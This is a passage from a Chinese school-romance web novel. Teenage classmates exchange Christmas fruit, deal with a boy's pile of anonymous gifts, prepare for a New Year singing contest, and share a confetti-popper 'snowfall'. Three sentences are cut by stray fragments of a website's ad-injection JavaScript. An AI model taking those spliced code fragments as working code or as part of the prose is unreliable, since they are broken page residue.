外国人平安夜可不吃苹果,中国人喜欢讨个口彩,所以用平安果赠予亲朋好友自己的祝愿,骆眀昭她们一商量,只吃苹果太单调了点,于是撺掇着牧时桉和薛游,五人抽签,抽到什么水果就包什么水果。 最后结果是,骆眀昭包平安果,牧时桉包平安橙子,梁若璇包平安葡萄柚,林雨彤包平安火龙果,薛游包平安柠檬,大家互相赠送,过了一个非常欢乐的平安夜。 第二天上学,虽然校园里并没有布置圣诞相关的物件,但莫名隐隐透着股圣诞氛围,所有人的课桌上都摆上了有关圣诞的东西,隐晦但应景。 吃过午饭,骆眀昭给自己裹得严严实实,跟着好姐妹溜达在校园里,太阳把全身晒得热腾腾,让人只想打盹,往教学楼走的脚步也更快。 “我还以为广播台会放牛姐的养老保险呢?没想到是《圣诞快乐劳伦斯先生》啊,感觉听得心里空落落的。”骆眀昭微微眯起眼,情绪被悠扬的轻音乐带着走。 林雨彤挽着姐妹胳膊:“毕竟直接放这种圣诞氛围浓重的歌也不太好,会被老师盯上的。” “圣诞到了,这一年也就快到尾声喽。”梁若璇感慨着。 是哦,也就只剩几天了。 “说起来,你的早恋计划,还进行吗?”骆眀昭忽然想起这茬,打趣着好友。 林雨彤瘪瘪嘴,还说呢,她第一次见有人能把天聊死的这么彻底。 她就尝试了两天就宣告放弃,毕竟直球和舔狗的区别她分得很清。 行就行,不行就换下一个。 “请你不要哪壶不开提哪壶好吗?”林雨彤虽然微笑着,但眼睛里满是杀气。 OKOKOK,她不提还不行。 林雨彤:“我要是像璇子那么受欢迎,我也不至于找不见计划对象。” “小璇很受欢迎吗?”骆眀昭眨巴着眼。 虽然平时都知道梁若璇是年级里最漂亮的女孩,但感觉身边还是没那么多追捧者。 “估计是过个节把那点隐秘的小心思都勾起来吧,那家伙,我早上一来她后排储物柜的门都关不住了,全是礼物。”林雨彤回忆着。 梁若璇也被说得不好意思,没好气地怼她一下,不过她向来都是能还就当面还,没留名字还不回去就分给同学。 梁若璇忽然说:“不过大侄子没什么情况吗?” 骆眀昭被问愣住。 好像确实没见到什么礼物贺卡唉。 “不会吧?大侄子现在已经这么没有魅力了?”梁若璇张大嘴。 话说得还是太早。 三人还是低估了牧时桉的影响力,等走回教学楼,梁若璇想从骆眀昭的储物柜里翻点小零食,便跟着一块回到一班。 刚一进班,满桌子密密麻麻被盖着一层包装精致的礼物,甚至连旁边骆眀昭的桌子都被波及,桌柜里也被塞着满满,储物柜也没放过。 一个中午时间,变化这么大吗? 三人愣在门口。 骆眀昭感慨着,如果有下辈子,她也想这么活一次啊。 40. 梨子 午休铃打响前夕,牧时桉才把课桌和储物柜全部清出来,有骆眀昭帮着,礼物被摞成一座小山,放在他们最后一排后面的空地上。 一班的学生们也免不了议论围观,毕竟谁也都没经历过这么大阵仗。 午休会拉住教室窗帘,窗外光线很好,班里光影暧昧,有很小声的翻书声和一起一伏的呼吸,他们班运气不错,没有打呼噜的,听梁若璇说,他们班有个男生爱打呼噜,不过同班这段时间大家也都习惯了。 骆眀昭把脑袋埋进午睡枕里,辗转反侧地睡不着,无人在意时,她悄悄扭过头看向在她椅子后摞起的礼物山,繁杂的心思涌上,解不开理还乱。 偏过目光,牧时桉正一张张扫过那些贺卡的内容,那些贺卡大都是绑在礼物上的。 如果她混在里面,不留姓名悄悄送上一张贺卡的话,会被发现吗? 骆眀昭的夹层里安静地放着一张精致漂亮的贺卡,圣诞主题,昨日跟姐妹们去文具店挑选贺卡时,在货架最上面,正上方的位置立在最外面的一张贺卡,比其他普通款式更精致,更亮眼,还是立体的那种,当然结账时的价格也更肉痛。 林雨彤和梁若璇都忙着挑选小物件,没人注意她的小动作,结账后骆眀昭也第一时间将贺卡塞进书包里,跟做了什么亏心事一样。 回家以后骆眀昭就暗骂自己没出息,跟一张无辜的贺卡大眼瞪小眼一晚上。 不能送。 这是她一开始的想法。 如果单单给一人如此独特的样式,而其余人都是那种平平淡淡精品店一抓一大把的那种,实在是过分明显了点。 要是文具店里有四张这样漂亮的贺卡就好了,偏偏还就这么一张。 所以坚决不能送。 可是最后上学前,她还是把贺卡塞进了书包夹层,想着万一有个谁都不知道的好时机呢? 而现在,时机居然来了。 啊啊啊啊烦死人! 纠结至气恼的骆眀昭愤愤将灰色卫衣的帽子往头上一扣,试图隔绝世界纷纷扰扰。 她正闷着,忽然感觉桌面被很轻地敲了一下,骆眀昭懵的抬起脑袋,手边出现一张带着嫩粉色碎花的便利贴,纸张上锋利的笔锋几乎写着那人的姓名。 骆眀昭揪着那张纸,心脏似乎错了半拍。 关系好的人做同桌时间久了就会这样,彼此熟悉到东西乱放,比如我的笔袋有你的直尺啦,或是你一直用着我的水笔之类的。 牧时桉没有买这种便利贴的习惯,平时记笔记都是随手记在自己能看见的位置,而骆眀昭又是购物欲极其旺盛的小女孩一名,常是在文具店里被这些小物件迷得走不动路。 因为常买,所以这些零碎消耗品骆眀昭几乎用不完,忘记哪次课上,她余光注意到牧时桉似乎记笔记的地方不太足,从收纳包里翻出一沓崭新的,递给了他,说让他随便用什么的,于是从那天以后,简洁的几乎无聊的课桌上就这么多了一抹清新亮眼的存在。 骆眀昭不知道该怎样形容这种奇异的悸动感,只是埋着头,手指轻柔摩挲着。 牧时桉:[睡不着?] 她写好后,将纸条传回去。 骆眀昭:[不太困,可能上午课间睡多了。] 牧时桉低头看着纸条,抿着唇没再说什么,而后自然地将纸夹进一本书里,动作很小很轻。 骆眀昭脑袋又悄悄地扭过后面,扫过地下的一排礼物,犹豫着。 而后也从手边抽出张便利贴来。 骆眀昭:[说起来,你这些礼物准备怎么办?] 牧时桉:[有名字的送回去,没有名字的放在这等着她们拿回去。] 骆眀昭缓缓伸进书包里的手,看到纸上文字的一瞬间,顿住。 这无疑是最好的解决方案,如果骆眀昭自己经历这事也会如此处理。 不过人站在相对立场时,想法自然有差别,就像当下她作为沉默着送出心意的一方,便会隐隐觉得这样似乎无情了些。 骆眀昭:[原来你是这个解法。] 牧时桉:[收下,就默认我了解对方的心意,但事实上我可能看过后几秒就会忘记,对谁都不公平。] 是啊,骆眀昭接过纸的瞬间恍然大悟。 她一只手在书包里,指尖触碰到硬卡纸时,骆眀昭垂下目光,又使劲往里塞了塞,直至最深处。 午休结束时间,《AllIWantForChristmasIsYou》叮叮当当的前奏声竟缓缓从广播里响起,骆眀昭愣着抬头,诧异着。 不知道是老师默许,还是广播站的同学知法犯法顶风作案,但总之这样似乎更有节日的气氛些。 教室里逐渐热闹起来,牧时桉从椅子上起来,没穿校服外套,仅一件圆领卫衣,大步从后门离开,再回来时,身后多出个人影。 梁若璇跟着他进了一班,懒洋洋地打了个哈欠,还跟坐在座位上的骆眀昭挥手打招呼:“我还没睡醒呢,就被拽到你这当力工。” “都有班级名字,辛苦您老人家了。”牧时桉扫过一眼,懒洋洋地说。 还礼物的事,就交付给梁若璇,毕竟女生去还,影响还能小点。 梁若璇撇撇嘴:“我那的就你来。” 骆眀昭汗颜。 这流程真是熟练啊,什么时候她也有这样的烦恼就好了。 梁若璇看向地下的一摞礼物:“都有名字啊?” “就那一个没有。”牧时桉大概是困了,随手把校服外套卷起来放在桌上,随意地趴在上面补觉,与世隔绝。 梁若璇顺着他的目光,拿起角落里一个用彩纸包装起来扁扁的盒子,贺卡已经从上面拆了下来,轻放在上面,她俯下身拿起来打开那张手作的贺卡,眸子眨了眨。 下一秒,她扬起头,眼神无意中跟骆眀昭对视,姐妹之间有不必说明白的默契。 骆眀昭在阳光下似琥珀般的眸子颤动着,她向着一个地方转过身,目光短暂停留,又极快地收回。 教室那边的桌前,梳着马尾辫的女生安静地看着书。 是胡晓月,她的字太好认了。 因为发现了那个秘密,梁若璇还在一班时曾认真观察过她一段时间,而骆眀昭更是还跟她做过同桌,也熟悉。 半晌,梁若璇开口:“那不知道是谁的就先留在这?” “同意。”骆眀昭点头。 说完,两人相视一笑,梁若璇俯下身拿了几个礼物离开了一班。 - 午后的第一节课,是班主任宋晓的英语,她拿着课本进班,站定在讲台上。 “那个上课之前,宣布一个事。”她说。 同学们直起身子好奇听着。 "周五下午,学校会举办高一高二年级的元旦晚会。" 此消息一出,讲台下同学们议论纷纷,不过大多都是对此通知的不满,毕竟哪有这么临时通知的,只剩四天了唉。 “安静,”宋晓拍拍桌子,“我知道你们觉得时间不够,但要理解学校,虽然放开这么久,毕竟疫情余韵让校领导不得不慎重考虑你们的安全问题。” 见台下安静,她继续解释:“开始领导们是准备分开高一高二的,高一那边通知的也比较早,他们早早也就准备上了,但为了让咱们高二,享受着最后一次的聚会,决定合并,改成后半段欣赏学弟妹们的节目,咱们在前半段,举办高二校园歌唱比赛。” 歌唱比赛? 骆眀昭托着下巴,还能这么办啊,学校挺有创意。 “每个班出一个队 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伍合唱,晚自习我跟生物老师说好了,你们用这个时间可以小规模选拔一下,然后除了合唱也有个人比赛,有兴趣你们也可以报名参与,文艺委员?” 尹菲举手喊到。 “下课统计想参加的人数,”宋晓嘱咐着,“好了,就说这么多,上课。” 下课以后,尹菲便拿着自己的小本子,走街串巷。 可这种事情,看是乐子,真要自己上场,那可就是件麻烦事,于是现在的尹菲就像前几个月的运动会的体委一样,可怜兮兮地苦苦哀求这些“无情”的同班同学们。 刚一下课,牧时桉离开了教室,骆眀昭猜测大概是帮梁若璇还礼物去了,二班上节课也刚通知举办比赛,还完礼物的梁若璇趁着快上课的几分钟,拉着林雨彤来一班串门。 “昭昭,你们班说了吗?”只要是无关学习的事,都能引起梁若璇的兴致。 骆眀昭点头:“唱歌比赛的事吧?刚说的。” “怎么样?你没什么想法?”梁若璇笑着撺掇她。 骆眀昭呆愣愣,指指自己:“我?” 上次在KTV,骆眀昭的声音她们俩有目共睹,上节课两人悄悄讨论,一致认为她绝对能拿个名次。 骆眀昭很少参加这种活动,怯场倒不至于,单纯不感兴趣而已,她还是更愿意做台下摇荧光棒的观众。 那边尹菲原本离她们就不远,一双顺风耳捕捉到关键词,更是像踩风火轮一般窜过来:“什么意思?你有兴趣参加吗?” “我……”骆眀昭还在犹豫。 林雨彤已经主动替她应下:“她有,她有!” 尹菲眼神感激又兴奋:“真的吗?独唱还是合唱?” 林雨彤:“她都有,都有。” 骆眀昭:? 什么时候决定的?而且她怎么一句话都插不上呢? “都有!”尹菲更激动了,笑得合不拢嘴,麻溜在纸上记下她的名字,像是生怕她跑了一样,“太好了,期待你的好消息啊!” “喂!”等尹菲去寻找下一个冤大头,骆眀昭插着腰瞪圆了眼,“你是我经纪人吗?我一句话没说呢,你把名都给我报好了!” “哎呦,好不容易有个展现自我的机会,我觉得不能埋没你的才华。”梁若璇一本正经胡说,“看,为了支持你比赛,专门带给你的,润喉” 说完,她就将一直背在身后的梨子放在骆眀昭课桌上。 梨子? 这都什么乱七八糟的。 “你从哪搞来的?”骆眀昭拿起来,失笑。 梁若璇还想忽悠,却被林雨彤揭穿老底:“上周五拿到学校没吃,她放到现在。” “你!” 骆眀昭摸了摸,怪不得,外皮蔫蔫巴巴的。 “哎呦,主要之前运动会,我们参加,都是你一直忙前忙后给我们拍照,我也想帮你拍照片、帮你打扮,再帮你应援什么的唉。”梁若璇思忖着,讲出心底实话。 原来是这样。 但其实参加这种活动感觉也蛮有意思的,骆眀昭并不排斥,也算种人生体验。 她扬扬眉:“算了,饶你们一次先斩后奏,记得把我拍美一点。” “遵旨。”林雨彤梁若璇笑嘻嘻地凑过来。 “不过牧大帅哥不试试吗?感觉他上台能迷倒一片小姑娘唉。”林雨彤靠在储物柜上,望着面前空荡荡的课桌。 “他?”梁若璇扯着嘴,面带无语,“他还不如我呢。” 还完礼物的牧时桉大步走进教室,没听到全程,只感觉一进门,林雨彤和骆眀昭的目光就带着丝诡异,朝着他瞧过来。 上次被《死了都要爱》支配的恐惧,她俩到现在都忘不了。 啧啧,看来老牧家确实没什么声乐基因哈。 41. 烤红薯 一班几乎是连哄带骗地凑齐了六个人参加合唱,因为学校要求的就是每个班级合唱队伍至少要有六人。 不过个人比赛除了骆眀昭外,居然还有一个男生报名,也是合唱队伍里的一人。 好像除了他们班外,其他班都挺积极的,甚至吃晚饭的时候听说,薛游他们隔壁班,半个班的人都要上场,要来一个大合唱节目。 原本宋晓还为他们空出晚自习的时间来筛选节目,结果总共就凑来这么些人,也就不了了之。 放学后,尹菲小跑到后排找她,骆眀昭正埋头收拾着书包:“怎么了?” “晚上回去我拉个群啊,大家可以想想唱什么歌。”她说。 骆眀昭表示同意地点点头。 牧时桉侧过目光悠悠地眯起眼:“你也参加了?” “什么?”骆眀昭专注地整理着书包,没有注意听他的话,拉住拉链,起身。 “唱歌比赛。”牧时桉跟着起身,走在她身侧。 “对啊。”骆眀昭有些好奇地扬起脑袋看着他,“晚上吃饭你也在啊?合着我们说话你都没听啊?” 晚饭时除了牧时桉以外,四个人都在激情热聊有关周五元旦晚会的各种小道消息,他们也在给骆眀昭出主意,帮她参考能唱什么歌,当然没一首靠谱的就是了。 牧时桉顿了一下,但脸上倒也没什么被拆穿的尴尬反应:“走神了。” 骆眀昭边走边把脖子上围巾系得紧一些,心底暗自嘀咕,你倒是挺堂堂正正。 两人前后脚走出教学楼,一阵凌冽的风恰好吹来,给每个走出大门的学生都冻得一激灵。骆眀昭将手全部缩进外套兜里,每每到这种时候,她就会后悔怎么没有同意让骆齐接自己放学这事。 不过现在这样也挺好的,她下意识往侧边偷看一眼。 牧时桉穿着校园标配的冬季校服,但仍跟别人显得不一样,不像她,他围巾手套一个没有,就靠着校服那一层似有若无的夹棉对抗着寒风,骆眀昭也有些好奇,他也是真的不怕冷啊。 两人并排安静地往校门口走,其实往日也一样,虽是同路,但其实没那么多话说,不像跟姐妹们,叽叽喳喳的很有话聊,跟牧时桉真的很像放学搭子,或者她的保镖,高高的,站在一旁也蛮有那味。 他们安静,就显得身旁吵吵闹闹的结伴而行的学生更活泼,离骆眀昭一步远的一对女学生正在感慨:“真是的,为什么今年初雪那么早啊?” “就是啊,要是在今天就好了,圣诞唉,再配上初雪,多有氛围啊。”另一个女生也在抱怨。 骆眀昭默不作声听着,埋在围巾里的脑袋不自觉歪了歪。 好像,是那么个道理啊。 两个女生在停放自行车的那个岔路拐弯后,四周顿时安静。 “圣诞节,好像不下雪确实少了点氛围唉。”骆眀昭忽地出声,尾调悄然上扬。 她声音闷闷的,传进牧时桉耳朵里就带着点瓮声瓮气,莫名让他想起那种节日里会吃的酥心糖,他伸手将外套领子拉高,躲藏在衣领之下的喉咙似乎在不知不觉间,上下滚动。 牧时桉偏开目光,回应她刚才的话:“会吗?” “当然了!”骆眀昭瞬间激动起来,想要跟这个没什么过节情趣的人好好掰扯一下,“比如圣诞老公公都是骑着雪橇来送礼物的啊,如果没有雪的话,那直接他骑自行车好了,驯鹿也不用上工啦。” 她太过于通俗的表述,让牧时桉也忍不住扬起唇角。 他压着笑意,低声问:“还有吗?” “还有啊,那些经典电影营造的气氛,就比《真爱至上》、《小鬼当家》或者《圣诞颂歌》什么的,他们里面圣诞节都在下雪唉。”说起这些,只能苦于如今还是学生党,若是今年圣诞节在周末的话,她肯定要窝在被窝里回顾这些片子的。 走出校门,她甩甩那些纷杂情绪,总结道:“总之,圣诞要是不下雪的话,确实少了点浪漫,尤其是搭配初雪‘食用’最佳。”说完,还努力扬起脑袋看看天空,想要寻到些下雪的征兆。 牧时桉跟在她身旁走着,恍然间想到从前。 前几年初雪似乎都在圣诞节左右,梁若璇那时望着满天飘雪,总抱怨着,这么浪漫有什么用,初雪就得是跟喜欢的人一起看啊,而不是跟他俩这个完全没有情趣的死直男。 说起来今年的初雪,好像来得确实早了点。 是哪天来着? 两人漫步到公交车站,同时停了脚步,牧时桉偏头看她一眼,蓦地开口:“今年初雪,是哪天来着?” 骆眀昭被冻得在手心哈了口气,捂在泛红的脸颊上。 初雪那天啊?她盯着自己手心愣了一会儿。 想起来了,她看了《情书》,也理清对身旁这个人的那些繁杂的心情。 “哦,就是那天呗,你跟林以征要微信的前夜里。”骆眀昭伸手理理被寒风吹乱的刘海,偏过目光故作打趣着说道。 牧时桉敛眸,记起了那天的画面。 那天梁若璇拽着他要打PS5,他们玩到她撑不住打着哈欠回了客房,客厅里只剩他一个人醒着,家里人都睡得很熟。 他收起光碟关掉电视,客厅里仅留着一盏落地灯亮着,他还不困,独自安静地坐在沙发上,却无意间看到朋友圈里,骆眀昭一分钟前发布的照片,光线昏暗,但能辨出窗外洋洋洒洒的雪花。 她还没睡? 牧时桉握着手机,不自觉地起身站到窗外去看,拉开窗,指尖感受着满天飘雪,他垂眸看向屏幕,忽而生出一个想法,要不要发个微信给她呢? 他沉默着靠窗站着,犹豫片刻后,发出了那条消息。 骆眀昭说她在看电影,又问他怎么还没睡,他庆幸自己早就找好了说辞,在收到晚安后,牧时桉顿住几秒。他要不要也回一个。 牧时桉不太清楚自己在那短暂的一分钟里,做了多么重大的挣扎决定,最后指尖敲击,他还是发出了那条微信,按下发送键的同时,无声地对屏幕道了句晚安。 他们在相隔十几米的地方,看了同一片雪,这样算不算是,跟她一起看了初雪? “车来了。”街道那端,公交车闪着车灯缓慢开来,骆眀昭唤他。 牧时桉垂下眼,轻嗯一声。 十几分钟的路程,他们像是往常一样没有说话,直至下车,骆眀昭全程一直望着窗外,似乎在想些什么。 “哇喔,他家还开着!”骆眀昭忽地看见什么,激动得朝着一间店铺小跑过去。 牧时桉跟着她的后门,来到了一间巷口很小的门店,平时很容易被忽略的那种。 骆眀昭将围巾往下拽了拽,朝着店里扬声问:“您好,还有烤红薯吗?” “有的,还有几个,要大的还是小的。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”店主爷爷应声道。 “要一个大的好了,然后可不可以帮我分成两份装。” “好。” 不一会儿,老爷爷提着两个塑料袋递给她,骆眀昭扫了钱,转过身,分出手里一个袋子,透明袋里,半个大红薯被油纸包裹住,散发出诱人香气。 “给。”骆眀昭笑着递给她。 牧时桉跟着笑了一下,被她感染:“为什么要买红薯。” 骆眀昭双手捧着,压制着无限分泌的口水,说:“烤红薯就是冬天下雪时要吃的嘛,估计是被我妈影响的,她小时候总带着我看那种古早韩剧。虽然跟初雪,圣诞都没什么关系,但吃点热乎乎的东西,心情也会好的,也算是填补一下没有过上有仪式感圣诞的落差。” 他们相伴走在无人的小巷里。 骆眀昭边走,还在边摇头晃脑地碎碎念:“跟你说这家红薯可好吃了,而且个头贼大,咱们两人合在一块顶我小臂粗呢,这爷爷家里就是种红薯的,平时就卖红薯干什么的,烤红薯可是冬季限定……” 她总是这个样子,提到自己喜欢的东西,尤其那双眸子,亮得不像话。 春日拂晓,大概可以如此形容。 骆眀昭不说话了,她悄悄仰起头去看牧时桉,因为他一句话都没说,周遭寂静的只能听见校服面料摩擦的窸窣声响。 他是不是对这种事不感兴趣啊?她是不是有点太啰嗦了。 直至瞧见单元门,她都跟着走在他身侧,沉默着没说话。 哼,这个无聊的家伙,怪不得朋友那么少。 “闭眼。” 骆眀昭懵住:“什么?” “在这闭眼等我一会儿。”站定在单元门前,牧时桉终于开口,声音略微带着哑意,让骆眀昭愣着几秒,促使她心脏一紧。 他要干什么?该不会要吓自己一跳吧?开玩笑,她骆眀昭出名的密室铁坦唉。 虽然心里没底,不但还是老实按着他的话,轻轻合眼,骆眀昭闭得并不紧,细看还能瞧见颤动的眼睫。 闭住眼,听觉就显得格外发达,她能听见风声,还有什么东西撞击铁板的声音,好像是地下室,像是绮城这种北方城市,尤其是旧家属院这种老旧小区,都会有地下室的。 脚步声越靠越近,她的心跳也跟着鼓动起来。 到底要干嘛,还让人怪好奇的。 她似乎听到一阵很轻的呼吸声在周围,骆眀昭于是不太确定地开口:“那啥,我能睁眼了吗?” 牧时桉的声音就在她身前响起:“好了,睁眼。” 话音刚落,骆眀昭随之缓缓掀起眼皮,少年就这么立在她的面前,手臂举高,然后就听“嘭”地一声,她仰起头,满天彩纸像是舞动的雪花一般,在她的头顶翻飞,在寂静的夜里,折射出五彩的光辉,闪着光。 骆眀昭瞳孔颤动着,不知到底是望着彩纸,还是眼前的那个人。 “亲戚家办喜事,留下的彩炮筒在我家地下室,”他轻描淡写地说,“没有雪,先用它替代吧。” 她应该无论过去多少年,永远都忘不掉这一幕吧。 在十七岁圣诞夜的尾声,有个少年为她带来了专属她的雪花。 脸颊掠过些什么,骆眀昭伸出手,轻轻拂过皮肤,她忍住了即将涌出的泪光,洋溢着笑说。 “牧时桉,真的下雪了,还有,圣诞快乐。” 42. 烤冷面 那天夜里,骆眀昭做了个梦。 她独自漫步在一望无际的雪原,白雪皑皑,而后忽然就那么一瞬间,雪花变成了彩色亮片,她好像成为了盛大庆典的主人公,然后在很远很远的地方,立着一个看不清身影的人。 睡醒后骆眀昭胡乱地揉揉脑袋,鬼都知道她梦见的人是谁吧! 有些时候真的对这种日有所思夜有所梦感到无奈,却又控制不住。 圣诞节过去,大家的注意力就又聚集到新的事上,就比如元旦晚会,即便是一班的优等生们都憋着股劲儿,要在晚会上痛痛快快玩一次的念头。 因为大家前几年憋得太久了,上一次有这种热闹的晚会好像已经是很久很久之前的事。 一班合唱歌曲很快选了出来,他们六个刚好是三男三女,就准备来首男女对唱。 他们还旁敲侧击问过宋晓,学校有没有非激昂澎湃励志歌曲不可的选歌要求,结果直接把宋晓逗笑,告诉他们没有这种要求,只要不是那种太过分的歌曲就好。 尹菲一上来就说,要给高一高二整个大活,让他们看看一班学生都不是书呆子。 于是经过商量,大家一致决定,唱凤凰传奇的《全是爱》,甚至男女部分对唱呢,由骆眀昭她们女生唱男生部分,绝对艳惊四座。 “所以呢?你们班最后选唱的是什么歌啊?”林雨彤换了个座位,从饭桌对面凑了过来,好奇地蹭蹭她脑袋。 “咳咳,商业机密,暂不公布哈。”骆眀昭装模作样。 林雨彤瞪大了眼:“喂,是不是多年好姐妹了!我你都瞒着。” “别说你了,”骆眀昭嘴严得很,伸手指指一旁在玩手机的牧时桉,“就连他,我们班成员之一唉,现在都不知道我们到底选的是什么歌。” 林雨彤撅撅嘴:“搞的神秘兮兮,还让人挺好奇的唉。” 要的可就是这个效果。 她们正在这边热聊,梁若璇提着很大的口袋,从食堂外边小跑过来。 “来了,来了,我嫂子刚帮我送过来啦。”梁若璇冲着他们招招手,展示着手里的大口袋后,又累得气喘吁吁,一屁股坐到食堂长椅上。 林雨彤指着几乎有两个人那么宽的衣服袋,问道:“这就是你给骆眀昭带的衣服啊?” 听说别的班女生为了这次上台都很是上心,不过那种精致的小裙子不实用,而且穿过一次基本就吃灰,所以骆眀昭基本没有这种衣服,为了上一次台买这种也不现实,梁若璇倒是主动请缨,表示自己衣柜里可有不少。 昨晚上为了给骆眀昭找到件合适的小裙子,梁若璇扒着衣柜翻到半夜,于是今天一早,光荣地赖了床,着急出门把袋子忘在了自己卧室书桌。 “正好我嫂子中午去趟我家,能有时间帮我送过来,要不然你又得等到明天试。” 梁若璇手还在装裙子的口袋翻腾,却被骆眀昭赶紧制止:“小璇,一会儿换个地方打开吧,这食堂哪哪都是油,再弄脏了就不好啦。” “说得有道理,”梁若璇不好意思地笑笑,将袋子收起来,四下张望着,“对了,午餐你们吃的什么?” 骆眀昭垂眼看向手里一小份烤冷面,示意就吃这个。 梁若璇挑挑眉:“昭昭,这不是你食量啊?” 额,这个,骆眀昭无奈笑笑。 她总不能说昨天半夜,激动得怒吃掉一大块烤红薯,然后今天睡醒以后,成功积食。 “不过确实挺好吃的,尤其加的还是我爱吃的番茄酱,小璇你也可以来一份。”骆眀昭捏着竹签,俯下脑袋,满足地塞了一大口带着红色汤汁的烤冷面,酸甜咸外加一点点辣,黏黏糊糊,简直不要太幸福。 此话一出,梁若璇顿时精神:“烤冷面不是要加醋的吗?番茄酱简直倒反天罡。” “对对,咱俩是一派的。”林雨彤认同地猛点头。 骆眀昭不甘示弱:“当然是番茄酱啊,带点汤,甜甜酸酸的。” “加醋!” 就这个加醋还是加番茄酱的话题,三个人争论十分钟,后面拉来薛游,他也是番茄酱派,双方因此进入僵持阶段。 牧时桉全程旁观,最主要的是两方也都没带他,毕竟他一定会冒出来一句,有什么区别吗?最终把两边人全都气死。 一场辩论赛在走出食堂后,立马宣布暂停,梁若璇激动地拉着去换衣服,离午休还有一段时间,三个人窜到没什么人的综合楼里,搬了把椅子进女卫生间里。 “这个裙子是我初中毕业买的,那会儿我跟昭昭差不多高,就是更瘦点,不过这个胸衣是可以调松紧的。”梁若璇翻出裙子来,在骆眀昭身上比划一下。 梁若璇一米六五左右,骆眀昭脱着外衣,无奈扯扯嘴角,怎么人家一年多还能长这么高,她初一以后就没长过个子唉。 这是件粉金色的洛丽塔裙,两根扎着蝴蝶结的吊带,中间是带鱼骨的胸衣,裙摆前短后长,是那种很精致重工的花边,骆眀昭在姐妹的帮助下,费力地穿上这件华丽的裙子。 “不错啊,昭昭,平时穿卫衣看不出来,身材有点东西,我穿胸那都撑不起来。”梁若璇看着她,勾着唇笑着。 林雨彤搭话:“我就说嘛,别看她个子矮,比例其实挺不错的,我们老师就说,身高一般的是很难腰线腿长同时兼顾的,骆眀昭基本都有。” 骆眀昭:…… “我谢谢你俩,”她咬着牙,“但能不能先别聊了管管我呢?” 侧边拉链还没拉住,综合楼女厕似乎没有暖气,露着腰冻得她直发抖。 “哦哦,抱歉啊。” 废了半天劲,梁若璇喘着气,才把拉链拽上去:“昭昭,你是不是有点吃胖了。” “哪有!”她下意识反驳,不过想想后排储物柜里一大盒零食,又没什么说服力。 林雨彤抱着胸左右观察一圈:“你确实是胖了一点点。” 哎呀,贴完秋膘贴冬膘,每天光坐着也没什么运动量,胖点很正常啊。 梁若璇说:“其实挺合适的,就是这两天昭昭你控制一下,少吃两口,周五上台那天穿就很正好啦。” “少吃两口,比如呢?”此生都没听过这句话用在她身上,骆眀昭脸一下煞白。 林雨彤想了想:“比如烤冷面这种重油重盐重糖的东西,就得禁止了。” “什么!” 抱着裙子从综合楼失魂落魄地走出来,坐回座位的骆眀昭整个人都恍惚了。 牧时桉在一旁看着,出声问:“你怎么了?没事吧?” “你说,你觉得,我胖了吗?”骆眀昭猛地转过身来,激动求一个答案。 牧时桉知道她刚刚是去试衣服,他仔细想了想初见骆眀昭那会儿到现在的变化,摇头:“没胖。” 他停顿了!一定就是为了安慰她吧! 绕是牧时桉再说什么,想到自己胖了就不能吃那些好吃的,骆眀昭都已经什么都听不进去了。 - 等待周五比赛到来这几天,大概是骆眀昭度过的最煎熬的时间吧。 合唱小组分好了词,她要背自己部分的歌词。 自己的那首单人曲目,骆眀昭选择《你的微笑》,这种开心的晚会,当然要唱点欢快的歌,也需要抽空练习。 还有半个月期末考如期而至,这是本学期最后一场考试,学校肯定十分重视,作业量,上课的严肃程度一下子高上好几个等级。 最重要就是减肥,这简直是全世界最为非人类的存在! 骆眀昭简直要咆哮,这世界什么会有减肥这样折磨的事,林雨彤她们收走了她储物柜里的零食箱,午餐食量减半,晚餐喝空气,她倒也是真的过上了渴了喝水、饿了扇嘴的日子。 虽然总共也就三天时间,但她能明显感觉自己暴躁程度直线上升,牧时桉偶尔跟她说句什么话,她先飞个眼刀过去,然后几秒钟后理智回归,努力心平气和地回话。 她就这么盼啊盼啊,总算是熬到了周五。 早餐她也没敢多吃,一个白煮蛋一杯豆浆解决,骆齐推推眼睛看她。 “闺女,你要不多吃点吧?小小孩子就减肥,再把身体减坏了。” 骆眀昭看着饭桌上刷着酱的鸡蛋饼,咽咽口水:“没事,就今天了,上完台,拍完美照,回家以后我就先点它三份外卖开胃!” “那可不行啊!”身为前任医生的骆齐立马制止,“吃那么少,猛地吃那么多再把胃吃坏了,你可少吃点。” “……”骆眀昭沉默一会儿,“爸,送我上学吧,我还是省点力气吧,说不定这样就不饿了。” 中午午休结束后,就会正式开始八中的元旦活动。 大概是因为再上半天课,就将迎来一个令人激动的活动和三天的假期,所有学生都肉眼可见地兴奋起来。 进入冬季后,八中早操由课间操换成了跑步,在同学都累得呼哧喘气时想赶紧解散回班时,高二年级主任在草坪上,举着大喇叭,似乎在气愤地跟高二学生说着什么。 一班在跑道最边上,压根听不清他的话,一班学生悄咪咪议论 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 “他说啥呢?” “不知道啊听不见。” “闭嘴,”宋晓闻声走过来,“主任是在说,上午抓到几个太过课上活跃的,让你们不要因为下午有活动,就不好好上课。” 骆眀昭根本听不进去,她跑完操整个人晕晕乎乎的,感觉脚不沾地,因为吃的早,又进行了剧烈运动的缘故。 她满脑子只想着,怎么还不吃午饭!!!! 课间操回班后,她整个人瘫在桌上,完全打不起精神,就这么又挨过去一节课。 最后一节课前的课间,骆眀昭没精打采地趴在桌上,完全没注意身边座位上空着,直到上课铃打响,牧时桉才踩着铃声进班。 骆眀昭转过头,这时候才发现他的动作。 “给。”牧时桉坐回椅子上,递过什么东西,她定睛一看,是块巧克力。 她大脑迟钝地问:“干嘛?” 牧时桉眉间拢起,已经塞进她的手心里:“饿了就吃一点,你现在脸色很差。” “没事的,该吃午饭啦。”蔡杨正进班,她小幅度地摆手,想把巧克力塞回去。 “这么一点不会影响你今天的体重。”他忽略擦过她手心的柔软触感,凛声道。 好像,是哦。 骆眀昭有些被说服了,她低头望着手心的金色包装,已经能想象到它是什么滋味,不禁咽了下口水。 蔡杨站在讲台上,正让他们翻开练习册,骆眀昭心思都被这块巧克力吊着。 那就躲在书的后面,吃一点点吧。 …… 高二年级主任张建军背着手,下到一层。 